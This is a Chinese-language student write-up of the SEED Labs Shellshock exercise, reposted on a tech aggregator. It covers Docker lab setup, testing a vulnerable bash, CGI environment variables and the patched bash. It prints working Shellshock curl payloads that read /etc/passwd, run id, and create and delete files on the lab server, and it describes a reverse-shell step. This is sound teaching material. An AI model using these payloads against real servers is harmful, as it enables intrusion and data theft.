IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> ShellShock20.04版本 -> 正文阅读

[系统运维]ShellShock20.04版本

ShellShock20.04版本

Topic

  • shellshock
  • 环境变量
  • Bash中的函数定义
  • Apache和CGI程序

实验环境设置

DNS Setting

在这里插入图片描述

将IP10.9.0.80和www.seedlab-shellshock.com连接

使用cat /etc/hosts查看DNS设置

在这里插入图片描述

hosts格式配置

hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网上,每台主机都有一个ip地址,它区分开每台主机,并可以根据ip进行通讯。但是Ip地址不符合人脑的记忆规律,因此出现了域名,例如www.baidu.com.在一个局域网中,每台机器都有一个主机名,用于区分主机,便于相互访问。

hosts文件格式
ip地址 主机名/域名 (主机别名)

Docker实验容器安装

$ docker-compose build  # Build the container image
$ docker-compose up  # Start the container
$ docker-compose down  # Shut down the container

$ dcbuild  # Alias for: docker-compose build
$ dcup  # Alias for: docker-compose up
$ dcdown  # Alias for: docker-compose down

在这里插入图片描述
在这里插入图片描述

关闭docker服务时,需要在新的终端,输入关闭指令

$ dockps  // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>  // Alias for: docker exec -it <id> /bin/bash
$ docker exec -t -i * /bin/bash – 进入到容器内部, *表示是需要进入的容器id
exit//退出指令

其中 ID号可以打印部分,因为ID号都是唯一的。

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

TASK

Task 1: Experimenting with Bash Function

在这里插入图片描述

设计一个程序,对比正常的Shell和有漏洞的ShellShock对代码的解析,判断是当前Shell是否存在漏洞

在这里插入图片描述

bash_shellshock运行后,输出extra,且foo函数解析不全,故当前shell有漏洞。

Task 2: Passing Data to Bash via Environment Variable

在这里插入图片描述

$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-v打印出HTTP请求和来自服务器的响应

-A选项,可以用来设置User-Agent字段

-e,改变Referer字段

-H,改变额外头字段

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

可以发现成功打印出了环境变量,当CGI程序被调用的时候,会首先FORK创建一个新进程,然后再使用exec()函数来执行CGI程序,因为CGI程序开头是#!/bin/bash,所以该程序是一个shell脚本,所以他执行后,bash会执行shell脚本,当创建子进程执行bash时,它为bash进程提供了环境变量,传递到子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如USER_AGENT等。

Task 3: Launching the Shellshock Attack

在这里插入图片描述

//窃取密码
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

//ID查看
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

//creat 
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/touch /tmp/file"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//查看
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//delet
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi


指令解析:

() { echo ”hello” ;};这一段就是新程序的一个函数。

echo Content_type: text/plain; echo;这一段就是告诉shell解析的时候保持为纯文本,不用其他的解释型语言来解析

/bin/cat /etc/passwd 查看/etc/passwd的文件内容。至于为什么不直接用cat指令,的确打印不出来,应该是无法识别,可能无法共享环境变量。

运行之后即可打开/etc/passwd文件

在这里插入图片描述

/ect/shadow文件需要root权限才能查看。seed用户通过/bin/cat 查看时会被拒绝访问

在这里插入图片描述

在这里插入图片描述

Question1:

不能从shadow窃取密码,shadow只有root权限和shadow权限,seed用户无权限读取。

在这里插入图片描述

Question2:

不能进行攻击,?之后的字符串能够注入能得到:QUERY_STRING=AAAAA;REQUEST_URI=/cgi-bin/getenv.cgi?AAAAA,且需要连续字符串;输入:

curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi"?-A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"

得到:
在这里插入图片描述

Taks4:Getting a Reverse Shell via Shellshock Attack

在这里插入图片描述

  • 攻击者端创建监听

在这里插入图片描述

  • 攻击者端创建反向Shell在这里插入图片描述

  • 命令解读

    10.9.0.1为主机IP,可通过ifconfig查看。链接至docker容器内的有漏洞的getenv.cgi程序执行。主机通过上述命令取得服务器的输入权限和输出反馈。
    在这里插入图片描述

  • 创建成功
    在这里插入图片描述

Task 5: Using the Patched Bash

在这里插入图片描述

如何修改docker内文件?一篇文章带你搞定如何在 Docker 创建的容器中修改配置

  1. 刚创建的 docker 容器,是没有 vi 命令的:
  2. 需要先执行:apt-get update
  3. 待更新完毕,再执行apt-get install vim,安装 vi
  4. 至此,vi 命令安装成功,接下来便可以在 docker 容器中执行修改文件操作
  5. 进入docker,修改docker文件

在这里插入图片描述

  1. 执行task3指令
    在这里插入图片描述
    在这里插入图片描述

正常的bash,对该命令不会错误解析,造成ShellShock攻击,且能正确打印环境变量

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-10-30 12:50:22  更:2021-10-30 12:50:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 22:31:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码